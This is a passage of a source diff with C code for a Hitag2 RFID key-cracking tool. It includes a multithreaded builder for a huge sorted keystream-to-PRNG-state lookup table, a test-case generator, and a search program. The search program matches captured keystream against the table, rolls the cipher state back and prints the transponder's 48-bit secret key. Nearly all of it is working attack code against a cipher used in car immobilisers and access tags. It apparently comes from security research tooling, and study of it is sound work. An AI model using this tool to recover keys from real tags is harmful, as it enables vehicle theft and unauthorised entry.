if (pthread_mutex_init(&(t->mutex), NULL)) {
|
||||
printf("create_table: cannot init mutex\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// create the path
|
||||
// sprintf(t->path, "/Volumes/2tb/%02X/%02X.bin", d1 & 0xff, d2 & 0xff);
|
||||
sprintf(t->path, "table/%02x/%02x.bin", d1 & 0xff, d2 & 0xff);
|
||||
}
|
||||
|
||||
|
||||
// create all table entries
|
||||
void create_tables(struct table *t)
|
||||
{
|
||||
int i, j;
|
||||
|
||||
if (!t) {
|
||||
printf("create_tables: t is NULL\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<0x100; i++) {
|
||||
for (j=0; j<0x100; j++) {
|
||||
create_table(t + ((i * 0x100) + j), i, j);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// free the table memory
|
||||
void free_tables(struct table *t)
|
||||
{
|
||||
int i;
|
||||
struct table *ttmp;
|
||||
|
||||
if (!t) {
|
||||
printf("free_tables: t is NULL\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<0x10000; i++) {
|
||||
ttmp = t + i;
|
||||
free(ttmp->data);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
// write (partial) table to file
|
||||
void writetable(struct table *t1)
|
||||
{
|
||||
int fd;
|
||||
|
||||
if (debug) printf("writetable %s\n", t1->path);
|
||||
|
||||
fd = open(t1->path, O_WRONLY | O_CREAT | O_APPEND, 0644);
|
||||
if (fd <= 0) {
|
||||
printf("writetable cannot open file %s for appending\n", t1->path);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (debug) printf("writetable %s opened\n", t1->path);
|
||||
|
||||
if (write(fd, t1->data, t1->ptr - t1->data) < (t1->ptr - t1->data)) {
|
||||
printf("writetable cannot write all of the data\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (debug) printf("writetable %s written\n", t1->path);
|
||||
|
||||
close(fd);
|
||||
}
|
||||
|
||||
|
||||
// store value in table
|
||||
void store(unsigned char *data)
|
||||
{
|
||||
unsigned char d1, d2;
|
||||
int offset;
|
||||
struct table *t1;
|
||||
|
||||
// use the first two bytes as an index
|
||||
d1 = data[0];
|
||||
d2 = data[1];
|
||||
offset = (d1 * 0x100) + d2;
|
||||
|
||||
if (debug) printf("store, d1=%02X, d2=%02X, offset = %d\n", d1, d2, offset);
|
||||
|
||||
// get pointer to table entry
|
||||
t1 = t + offset;
|
||||
|
||||
// wait for a lock on this entry
|
||||
if (pthread_mutex_lock(&(t1->mutex))) {
|
||||
printf("store: cannot lock mutex at offset %d\n", offset);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (debug) printf("store, offset = %d, got lock\n", offset);
|
||||
|
||||
// store the entry
|
||||
memcpy(t1->ptr, data+2, 10);
|
||||
|
||||
if (debug) printf("store, offset = %d, copied data\n", offset);
|
||||
|
||||
// update the ptr
|
||||
t1->ptr += 10;
|
||||
|
||||
// check if table is full
|
||||
if ((t1->ptr - t1->data) >= DATAMAX) {
|
||||
// write the table to disk
|
||||
writetable(t1);
|
||||
// reset ptr
|
||||
t1->ptr = t1->data;
|
||||
}
|
||||
|
||||
if (debug) printf("store, offset = %d, after possible write\n", offset);
|
||||
|
||||
// release the lock
|
||||
if (pthread_mutex_unlock(&(t1->mutex))) {
|
||||
printf("store: cannot unlock mutex at offset %d\n", offset);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (debug) printf("store, offset = %d, unlocked\n", offset);
|
||||
|
||||
}
|
||||
|
||||
// writes the ks (keystream) and s (state)
|
||||
void write_ks_s(uint32_t ks1, uint32_t ks2, uint64_t shiftreg)
|
||||
{
|
||||
unsigned char buf[16];
|
||||
|
||||
// create buffer
|
||||
writebuf(buf, ks1, 3);
|
||||
writebuf(buf+3, ks2, 3);
|
||||
writebuf(buf+6, shiftreg, 6);
|
||||
|
||||
// store buffer
|
||||
store(buf);
|
||||
|
||||
}
|
||||
|
||||
|
||||
// builds the di table for jumping
|
||||
void builddi(int steps, int table)
|
||||
{
|
||||
uint64_t statemask;
|
||||
int i;
|
||||
Hitag_State mystate;
|
||||
uint64_t *thisd = NULL;
|
||||
|
||||
statemask = 1;
|
||||
|
||||
// select jump table
|
||||
if (table == 1) {
|
||||
nsteps = steps;
|
||||
thisd = d;
|
||||
} else if (table == 2) {
|
||||
nsteps2 = steps;
|
||||
thisd = d2;
|
||||
} else {
|
||||
printf("builddi: invalid table num\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// build di states
|
||||
for (i=0; i<48; i++) {
|
||||
mystate.shiftreg = statemask;
|
||||
buildlfsr(&mystate);
|
||||
hitag2_nstep(&mystate, steps);
|
||||
thisd[i] = mystate.shiftreg;
|
||||
|
||||
statemask = statemask << 1;
|
||||
}
|
||||
}
|
||||
|
||||
// jump function - quickly jumps a load of steps
|
||||
void jumpnsteps(Hitag_State *hstate, int table)
|
||||
{
|
||||
uint64_t output = 0;
|
||||
uint64_t bitmask;
|
||||
int i;
|
||||
uint64_t *thisd = NULL;
|
||||
|
||||
|
||||
// select jump table
|
||||
if (table == 1) {
|
||||
thisd = d;
|
||||
} else if (table == 2) {
|
||||
thisd = d2;
|
||||
} else {
|
||||
printf("jumpnsteps: invalid table num\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// xor all di.si where di is a d state and si is a bit
|
||||
// we do this by multiplying di by si:
|
||||
// if si is 1, di.si = di; if si is 0, di.si = 0
|
||||
|
||||
bitmask = 1;
|
||||
for (i=0; i<48; i++) {
|
||||
if (hstate->shiftreg & bitmask) {
|
||||
output = output ^ thisd[i];
|
||||
}
|
||||
|
||||
bitmask = bitmask << 1;
|
||||
}
|
||||
|
||||
hstate->shiftreg = output;
|
||||
buildlfsr(hstate);
|
||||
}
|
||||
|
||||
|
||||
// thread to build a part of the table
|
||||
void *buildtable(void *d)
|
||||
{
|
||||
Hitag_State hstate;
|
||||
Hitag_State hstate2;
|
||||
unsigned long i;
|
||||
unsigned long maxentries = 1;
|
||||
uint32_t ks1;
|
||||
uint32_t ks2;
|
||||
int index = (int)(long)d;
|
||||
int tnum = NUM_BUILD_THREADS;
|
||||
|
||||
/* set random state */
|
||||
hstate.shiftreg = 0x123456789abc;
|
||||
buildlfsr(&hstate);
|
||||
|
||||
/* jump to offset using jump table 2 (2048) */
|
||||
for (i=0; i<index; i++) {
|
||||
jumpnsteps(&hstate, 2);
|
||||
}
|
||||
|
||||
/* set max entries - this is a fraction of 2^37 depending on how many threads we are running.
|
||||
1 thread = 2^37
|
||||
2 threads = 2^36
|
||||
4 threads = 2^35
|
||||
8 threads = 2^34
|
||||
etc
|
||||
*/
|
||||
maxentries = maxentries << 37;
|
||||
while (!(tnum & 0x1)) {
|
||||
maxentries = maxentries >> 1;
|
||||
tnum = tnum >> 1;
|
||||
}
|
||||
|
||||
/* make the entries */
|
||||
for (i=0; i<maxentries; i++) {
|
||||
|
||||
// copy the current state
|
||||
hstate2.shiftreg = hstate.shiftreg;
|
||||
hstate2.lfsr = hstate.lfsr;
|
||||
|
||||
// get 48 bits of keystream from hstate2
|
||||
// this is split into 2 x 24 bit
|
||||
ks1 = hitag2_nstep(&hstate2, 24);
|
||||
ks2 = hitag2_nstep(&hstate2, 24);
|
||||
|
||||
write_ks_s(ks1, ks2, hstate.shiftreg);
|
||||
|
||||
// jump hstate forward 2048 * NUM_BUILD_THREADS states using di table
|
||||
// this is because we're running NUM_BUILD_THREADS threads at once, from NUM_BUILD_THREADS
|
||||
// different offsets that are 2048 states apart.
|
||||
jumpnsteps(&hstate, 1);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
// make 'table/' (unsorted) and 'sorted/' dir structures
|
||||
void makedirs()
|
||||
{
|
||||
char path[32];
|
||||
int i;
|
||||
|
||||
if (mkdir("table", 0755)) {
|
||||
printf("cannot make dir table\n");
|
||||
exit(1);
|
||||
}
|
||||
if (mkdir("sorted", 0755)) {
|
||||
printf("cannot make dir sorted\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<0x100; i++) {
|
||||
sprintf(path, "table/%02x", i);
|
||||
if (mkdir(path, 0755)) {
|
||||
printf("cannot make dir %s\n", path);
|
||||
exit(1);
|
||||
}
|
||||
sprintf(path, "sorted/%02x", i);
|
||||
if (mkdir(path, 0755)) {
|
||||
printf("cannot make dir %s\n", path);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static int datacmp(const void *p1, const void *p2, void *dummy)
|
||||
{
|
||||
unsigned char *d1 = (unsigned char *)p1;
|
||||
unsigned char *d2 = (unsigned char *)p2;
|
||||
|
||||
return memcmp(d1, d2, DATASIZE);
|
||||
}
|
||||
|
||||
void *sorttable(void *d)
|
||||
{
|
||||
int i, j;
|
||||
int fdin;
|
||||
int fdout;
|
||||
char infile[64];
|
||||
char outfile[64];
|
||||
unsigned char *data = NULL;
|
||||
struct stat filestat;
|
||||
unsigned char *table = NULL;
|
||||
uint64_t numentries = 0;
|
||||
int index = (int)(long)d;
|
||||
int space = 0x100 / NUM_SORT_THREADS;
|
||||
|
||||
// create table - 50MB should be enough
|
||||
table = (unsigned char *)malloc(50UL * 1024UL * 1024UL);
|
||||
if (!table) {
|
||||
printf("sorttable: cannot malloc table\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// loop over our first byte values
|
||||
for (i=(index * space); i<((index + 1) * space); i++) {
|
||||
// loop over all second byte values
|
||||
for (j=0; j<0x100; j++) {
|
||||
|
||||
printf("sorttable: processing bytes 0x%02x/0x%02x\n", i, j);
|
||||
|
||||
// open file, stat it and mmap it
|
||||
sprintf(infile, "table/%02x/%02x.bin", i, j);
|
||||
|
||||
fdin = open(infile, O_RDONLY);
|
||||
if (fdin <= 0) {
|
||||
printf("cannot open file %s\n", infile);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (fstat(fdin, &filestat)) {
|
||||
printf("cannot stat file %s\n", infile);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fdin, 0);
|
||||
if (data == MAP_FAILED) {
|
||||
printf("cannot mmap file %s\n", infile);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// copy data into table
|
||||
memcpy(table, data, filestat.st_size);
|
||||
|
||||
numentries = filestat.st_size / DATASIZE;
|
||||
|
||||
// unmap file and close it
|
||||
if (munmap(data, filestat.st_size)) {
|
||||
printf("cannot munmap %s\n", infile);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
close(fdin);
|
||||
|
||||
// sort it
|
||||
qsort_r(table, numentries, DATASIZE, datacmp, NULL);
|
||||
|
||||
// write to file
|
||||
sprintf(outfile, "sorted/%02x/%02x.bin", i, j);
|
||||
fdout = open(outfile, O_WRONLY | O_CREAT, 0644);
|
||||
if (fdout <= 0) {
|
||||
printf("cannot create outfile %s\n", outfile);
|
||||
exit(1);
|
||||
}
|
||||
write(fdout, table, numentries * DATASIZE);
|
||||
close(fdout);
|
||||
|
||||
// remove input file
|
||||
if (unlink(infile)) {
|
||||
printf("cannot remove file %s\n", infile);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
pthread_t threads[NUM_BUILD_THREADS];
|
||||
void *status;
|
||||
long i;
|
||||
int ret;
|
||||
struct table *t1;
|
||||
|
||||
|
||||
// make the table of tables
|
||||
t = (struct table *)malloc(sizeof(struct table) * 65536);
|
||||
if (!t) {
|
||||
printf("malloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// init the table
|
||||
create_tables(t);
|
||||
|
||||
// create the directories
|
||||
makedirs();
|
||||
|
||||
// build the jump table for incremental steps
|
||||
builddi(2048 * NUM_BUILD_THREADS, 1);
|
||||
|
||||
// build the jump table for setting the offset
|
||||
builddi(2048, 2);
|
||||
|
||||
// start the threads
|
||||
for (i=0; i<NUM_BUILD_THREADS; i++) {
|
||||
ret = pthread_create(&(threads[i]), NULL, buildtable, (void *)(i));
|
||||
if (ret) {
|
||||
printf("cannot start buildtable thread %ld\n", i);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
if (debug) printf("main, started buildtable threads\n");
|
||||
|
||||
// wait for threads to finish
|
||||
for (i=0; i<NUM_BUILD_THREADS; i++) {
|
||||
ret = pthread_join(threads[i], &status);
|
||||
if (ret) {
|
||||
printf("cannot join buildtable thread %ld\n", i);
|
||||
exit(1);
|
||||
}
|
||||
printf("buildtable thread %ld finished\n", i);
|
||||
}
|
||||
|
||||
// write all remaining files
|
||||
for (i=0; i<0x10000; i++) {
|
||||
t1 = t + i;
|
||||
if (t1->ptr > t1->data) {
|
||||
writetable(t1);
|
||||
}
|
||||
}
|
||||
|
||||
// dump the memory
|
||||
free_tables(t);
|
||||
free(t);
|
||||
|
||||
|
||||
|
||||
// now for the sorting
|
||||
|
||||
|
||||
// start the threads
|
||||
for (i=0; i<NUM_SORT_THREADS; i++) {
|
||||
ret = pthread_create(&(threads[i]), NULL, sorttable, (void *)(i));
|
||||
if (ret) {
|
||||
printf("cannot start sorttable thread %ld\n", i);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
if (debug) printf("main, started sorttable threads\n");
|
||||
|
||||
// wait for threads to finish
|
||||
for (i=0; i<NUM_SORT_THREADS; i++) {
|
||||
ret = pthread_join(threads[i], &status);
|
||||
if (ret) {
|
||||
printf("cannot join sorttable thread %ld\n", i);
|
||||
exit(1);
|
||||
}
|
||||
printf("sorttable thread %ld finished\n", i);
|
||||
}
|
||||
|
||||
pthread_exit(NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
98
tools/hitag2crack/crack2/ht2crack2gentest.c
Normal file
98
tools/hitag2crack/crack2/ht2crack2gentest.c
Normal file
|
@ -0,0 +1,98 @@
|
|||
/*
|
||||
* ht2crack2gentests.c
|
||||
* this uses the RFIDler hitag2 PRNG code to generate test cases to test the tables
|
||||
*/
|
||||
|
||||
#include "ht2crack2utils.h"
|
||||
|
||||
|
||||
int makerandom(char *hex, unsigned int len, int fd)
|
||||
{
|
||||
unsigned char raw[32];
|
||||
int i;
|
||||
|
||||
if (!hex) {
|
||||
printf("makerandom: hex is NULL\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!len || (len > 32)) {
|
||||
printf("makerandom: len must be between 1 and 32 inclusive\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (read(fd, raw, len) != len) {
|
||||
printf("makerandom: cannot read random bytes\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<len; i++) {
|
||||
sprintf(hex + (2 * i), "%02X", raw[i]);
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
Hitag_State hstate;
|
||||
char key[32];
|
||||
char uid[32];
|
||||
char nR[32];
|
||||
char filename[256];
|
||||
int i, j;
|
||||
int numtests;
|
||||
int urandomfd;
|
||||
FILE *fp;
|
||||
|
||||
if (argc < 2) {
|
||||
printf("ht2crack2gentest number\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
numtests = atoi(argv[1]);
|
||||
if (numtests <= 0) {
|
||||
printf("need positive number of tests\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
urandomfd = open("/dev/urandom", O_RDONLY);
|
||||
if (urandomfd <= 0) {
|
||||
printf("cannot open /dev/urandom\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
for (i=0; i<numtests; i++) {
|
||||
|
||||
makerandom(key, 6, urandomfd);
|
||||
makerandom(uid, 4, urandomfd);
|
||||
makerandom(nR, 4, urandomfd);
|
||||
sprintf(filename, "keystream.key-%s.uid-%s.nR-%s", key, uid, nR);
|
||||
|
||||
fp = fopen(filename, "w");
|
||||
if (!fp) {
|
||||
printf("cannot open file '%s' for writing\n", filename);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
hstate.shiftreg = 0;
|
||||
hstate.lfsr = 0;
|
||||
|
||||
hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nR)));
|
||||
|
||||
hitag2_nstep(&hstate, 64);
|
||||
|
||||
for (j=0; j<64; j++) {
|
||||
fprintf(fp, "%08X\n", hitag2_nstep(&hstate, 32));
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
|
433
tools/hitag2crack/crack2/ht2crack2search.c
Normal file
433
tools/hitag2crack/crack2/ht2crack2search.c
Normal file
|
@ -0,0 +1,433 @@
|
|||
/*
|
||||
* ht2crack2search.c
|
||||
* this searches the sorted tables for the given RNG data, retrieves the matching
|
||||
* PRNG state, checks it is correct, and then rolls back the PRNG to recover the key
|
||||
*/
|
||||
|
||||
#include "ht2crack2utils.h"
|
||||
|
||||
|
||||
#define INPUTFILE "sorted/%02x/%02x.bin"
|
||||
#define DATASIZE 10
|
||||
|
||||
struct rngdata {
|
||||
unsigned char *data;
|
||||
int len;
|
||||
};
|
||||
|
||||
|
||||
|
||||
static int datacmp(const void *p1, const void *p2)
|
||||
{
|
||||
unsigned char *d1 = (unsigned char *)p1;
|
||||
unsigned char *d2 = (unsigned char *)p2;
|
||||
|
||||
return memcmp(d1, d2, DATASIZE - 6);
|
||||
}
|
||||
|
||||
int loadrngdata(struct rngdata *r, char *file)
|
||||
{
|
||||
int fd;
|
||||
int i, j;
|
||||
int nibble;
|
||||
struct stat filestat;
|
||||
unsigned char *data;
|
||||
|
||||
if (!r || !file) {
|
||||
printf("loadrngdata: invalid params\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
fd = open(file, O_RDONLY);
|
||||
|
||||
if (fd <= 0) {
|
||||
printf("cannot open file %s\n", file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (fstat(fd, &filestat)) {
|
||||
printf("cannot stat file %s\n", file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (filestat.st_size < 6) {
|
||||
printf("file %s is too small\n", file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
|
||||
if (data == MAP_FAILED) {
|
||||
printf("cannot mmap file %s\n", file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
r->len = filestat.st_size / 2;
|
||||
// printf("r->len = %d\n", r->len);
|
||||
|
||||
r->data = (unsigned char *)malloc(r->len);
|
||||
if (!(r->data)) {
|
||||
printf("cannot malloc\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
j = 0;
|
||||
nibble = 0;
|
||||
for (i=0; (i<filestat.st_size) && (j < r->len); i++) {
|
||||
if ((data[i] != 0x0a) && (data[i] != 0x0d) && (data[i] != 0x20)) {
|
||||
if (!nibble) {
|
||||
r->data[j] = hex2bin(data[i]) << 4;
|
||||
nibble = 1;
|
||||
} else {
|
||||
r->data[j] |= hex2bin(data[i]);
|
||||
nibble = 0;
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
r->len = j;
|
||||
|
||||
munmap(data, filestat.st_size);
|
||||
close(fd);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int makecand(unsigned char *c, struct rngdata *r, int bitoffset)
|
||||
{
|
||||
int bytenum;
|
||||
int bitnum;
|
||||
int i;
|
||||
|
||||
if (!c || !r || (bitoffset > ((r->len * 8) - 48))) {
|
||||
printf("makecand: invalid params\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
bytenum = bitoffset / 8;
|
||||
bitnum = bitoffset % 8;
|
||||
|
||||
for (i=0; i<6; i++) {
|
||||
if (!bitnum) {
|
||||
c[i] = r->data[bytenum + i];
|
||||
} else {
|
||||
c[i] = (r->data[bytenum + i] << bitnum) | (r->data[bytenum + i + 1] >> (8 - bitnum));
|
||||
}
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
// test the candidate against the next or previous rng data
|
||||
int testcand(unsigned char *f, unsigned char *rt, int fwd)
|
||||
{
|
||||
Hitag_State hstate;
|
||||
int i;
|
||||
uint32_t ks1;
|
||||
uint32_t ks2;
|
||||
unsigned char buf[6];
|
||||
|
||||
// build the prng state at the candidate
|
||||
hstate.shiftreg = 0;
|
||||
for (i=0; i<6; i++) {
|
||||
hstate.shiftreg = (hstate.shiftreg << 8) | f[i+4];
|
||||
}
|
||||
buildlfsr(&hstate);
|
||||
|
||||
if (fwd) {
|
||||
// roll forwards 48 bits
|
||||
hitag2_nstep(&hstate, 48);
|
||||
} else {
|
||||
// roll backwards 48 bits
|
||||
rollback(&hstate, 48);
|
||||
buildlfsr(&hstate);
|
||||
}
|
||||
|
||||
// get 48 bits of RNG from the rolled to state
|
||||
ks1 = hitag2_nstep(&hstate, 24);
|
||||
ks2 = hitag2_nstep(&hstate, 24);
|
||||
|
||||
writebuf(buf, ks1, 3);
|
||||
writebuf(buf+3, ks2, 3);
|
||||
|
||||
// compare them
|
||||
if (!memcmp(buf, rt, 6)) {
|
||||
return 1;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
int searchcand(unsigned char *c, unsigned char *rt, int fwd, unsigned char *m, unsigned char *s)
|
||||
{
|
||||
int fd;
|
||||
struct stat filestat;
|
||||
char file[64];
|
||||
unsigned char *data;
|
||||
unsigned char item[10];
|
||||
unsigned char *found = NULL;
|
||||
|
||||
|
||||
if (!c || !rt || !m || !s) {
|
||||
printf("searchcand: invalid params\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
sprintf(file, INPUTFILE, c[0], c[1]);
|
||||
|
||||
fd = open(file, O_RDONLY);
|
||||
if (fd <= 0) {
|
||||
printf("cannot open table file %s\n", file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (fstat(fd, &filestat)) {
|
||||
printf("cannot stat file %s\n", file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
|
||||
if (data == MAP_FAILED) {
|
||||
printf("cannot mmap file %s\n", file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memcpy(item, c+2, 4);
|
||||
|
||||
found = (unsigned char *)bsearch(item, data, filestat.st_size / DATASIZE, DATASIZE, datacmp);
|
||||
|
||||
if (found) {
|
||||
|
||||
// our candidate is in the table
|
||||
// go backwards and see if there are other matches
|
||||
while (((found - data) >= DATASIZE) && (!memcmp(found - DATASIZE, item, 4))) {
|
||||
found = found - DATASIZE;
|
||||
}
|
||||
|
||||
// now test all matches
|
||||
while (((found - data) <= (filestat.st_size - DATASIZE)) && (!memcmp(found, item, 4))) {
|
||||
if (testcand(found, rt, fwd)) {
|
||||
memcpy(m, c, 2);
|
||||
memcpy(m+2, found, 4);
|
||||
memcpy(s, found+4, 6);
|
||||
|
||||
munmap(data, filestat.st_size);
|
||||
close(fd);
|
||||
return 1;
|
||||
}
|
||||
|
||||
found = found + DATASIZE;
|
||||
}
|
||||
}
|
||||
|
||||
munmap(data, filestat.st_size);
|
||||
close(fd);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
int findmatch(struct rngdata *r, unsigned char *outmatch, unsigned char *outstate, int *bitoffset)
|
||||
{
|
||||
int i;
|
||||
int bitlen;
|
||||
unsigned char cand[6];
|
||||
unsigned char rngtest[6];
|
||||
int fwd;
|
||||
|
||||
if (!r || !outmatch || !outstate || !bitoffset) {
|
||||
printf("findmatch: invalid params\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
bitlen = r->len * 8;
|
||||
|
||||
for (i=0; i<=bitlen - 48; i++) {
|
||||
// print progress
|
||||
if ((i % 100) == 0) {
|
||||
printf("searching on bit %d\n", i);
|
||||
}
|
||||
|
||||
if (!makecand(cand, r, i)) {
|
||||
printf("cannot makecand, %d\n", i);
|
||||
return 0;
|
||||
}
|
||||
// printf("cand: %02x %02x %02x %02x %02x %02x : ", cand[0], cand[1], cand[2], cand[3], cand[4], cand[5]);
|
||||
// printbin(cand);
|
||||
|
||||
/* make following or preceding RNG test data to confirm match */
|
||||
if (i < (bitlen - 96)) {
|
||||
if (!makecand(rngtest, r, i + 48)) {
|
||||
printf("cannot makecand rngtest %d + 48\n", i);
|
||||
return 0;
|
||||
}
|
||||
fwd = 1;
|
||||
} else {
|
||||
if (!makecand(rngtest, r, i - 48)) {
|
||||
printf("cannot makecand rngtest %d - 48\n", i);
|
||||
return 0;
|
||||
}
|
||||
fwd = 0;
|
||||
}
|
||||
|
||||
if (searchcand(cand, rngtest, fwd, outmatch, outstate)) {
|
||||
*bitoffset = i;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
void rollbackrng(Hitag_State *hstate, unsigned char *s, int offset)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (!s) {
|
||||
printf("rollbackrng: invalid params\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// build prng at recovered offset
|
||||
hstate->shiftreg = 0;
|
||||
for (i=0; i<6; i++) {
|
||||
hstate->shiftreg = (hstate->shiftreg << 8) | s[i];
|
||||
}
|
||||
|
||||
printf("recovered prng state at offset %d:\n", offset);
|
||||
printstate(hstate);
|
||||
|
||||
// rollback to state after auth
|
||||
rollback(hstate, offset);
|
||||
|
||||
// rollback through auth (aR, p3)
|
||||
rollback(hstate, 64);
|
||||
|
||||
printf("prng state after initialisation:\n");
|
||||
printstate(hstate);
|
||||
|
||||
|
||||
}
|
||||
|
||||
uint64_t recoverkey(Hitag_State *hstate, char *uidstr, char *nRstr)
|
||||
{
|
||||
uint64_t key;
|
||||
uint64_t keyupper;
|
||||
uint32_t uid;
|
||||
uint32_t uidtmp;
|
||||
uint32_t nRenc;
|
||||
uint32_t nR;
|
||||
uint32_t nRxork;
|
||||
uint32_t b = 0;
|
||||
int i;
|
||||
|
||||
// key lower 16 bits are lower 16 bits of prng state
|
||||
key = hstate->shiftreg & 0xffff;
|
||||
nRxork = (hstate->shiftreg >> 16) & 0xffffffff;
|
||||
uid = rev32(hexreversetoulong(uidstr));
|
||||
nRenc = rev32(hexreversetoulong(nRstr));
|
||||
|
||||
uidtmp = uid;
|
||||
// rollback and extract bits b
|
||||
for (i=0; i<32; i++) {
|
||||
hstate->shiftreg = ((hstate->shiftreg) << 1) | ((uidtmp >> 31) & 0x1);
|
||||
uidtmp = uidtmp << 1;
|
||||
b = (b << 1) | fnf(hstate->shiftreg);
|
||||
}
|
||||
|
||||
printf("end state:\n");
|
||||
printstate(hstate);
|
||||
printf("b:\t\t");
|
||||
printbin2(b, 32);
|
||||
printf("\n");
|
||||
printf("nRenc:\t\t");
|
||||
printbin2(nRenc, 32);
|
||||
printf("\n");
|
||||
|
||||
nR = nRenc ^ b;
|
||||
|
||||
printf("nR:\t\t");
|
||||
printbin2(nR, 32);
|
||||
printf("\n");
|
||||
|
||||
keyupper = nRxork ^ nR;
|
||||
key = key | (keyupper << 16);
|
||||
printf("key:\t\t");
|
||||
printbin2(key, 48);
|
||||
printf("\n");
|
||||
|
||||
return key;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
Hitag_State hstate;
|
||||
struct rngdata rng;
|
||||
int bitoffset = 0;
|
||||
unsigned char rngmatch[6];
|
||||
unsigned char rngstate[6];
|
||||
char *uidstr;
|
||||
char *nRstr;
|
||||
uint64_t keyrev;
|
||||
uint64_t key;
|
||||
int i;
|
||||
|
||||
if (argc < 4) {
|
||||
printf("ht2crack2search rngdatafile UID nR\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!loadrngdata(&rng, argv[1])) {
|
||||
printf("loadrngdata failed\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!strncmp(argv[2], "0x", 2)) {
|
||||
uidstr = argv[2] + 2;
|
||||
} else {
|
||||
uidstr = argv[2];
|
||||
}
|
||||
|
||||
if (!strncmp(argv[3], "0x", 2)) {
|
||||
nRstr = argv[3] + 2;
|
||||
} else {
|
||||
nRstr = argv[3];
|
||||
}
|
||||
|
||||
|
||||
if (!findmatch(&rng, rngmatch, rngstate, &bitoffset)) {
|
||||
printf("couldn't find a match\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("found match:\n");
|
||||
printf("rngmatch = %02x %02x %02x %02x %02x %02x\n", rngmatch[0], rngmatch[1], rngmatch[2], rngmatch[3], rngmatch[4], rngmatch[5]);
|
||||
printf("rngstate = %02x %02x %02x %02x %02x %02x\n", rngstate[0], rngstate[1], rngstate[2], rngstate[3], rngstate[4], rngstate[5]);
|
||||
printf("bitoffset = %d\n", bitoffset);
|
||||
|
||||
rollbackrng(&hstate, rngstate, bitoffset);
|
||||
|
||||
keyrev = recoverkey(&hstate, uidstr, nRstr);
|
||||
key = rev64(keyrev);
|
||||
|
||||
printf("keyrev:\t\t");
|
||||
printbin2(key, 48);
|
||||
printf("\n");
|
||||
|
||||
printf("KEY:\t\t");
|
||||
for (i=0; i<6; i++) {
|
||||
printf("%02X", (int)(key & 0xff));
|
||||
key = key >> 8;
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
|
187
tools/hitag2crack/crack2/ht2crack2utils.c
Normal file
187
tools/hitag2crack/crack2/ht2crack2utils.c
Normal file
|
@ -0,0 +1,187 @@
|
|||
#include "ht2crack2utils.h"
|
||||
|
||||
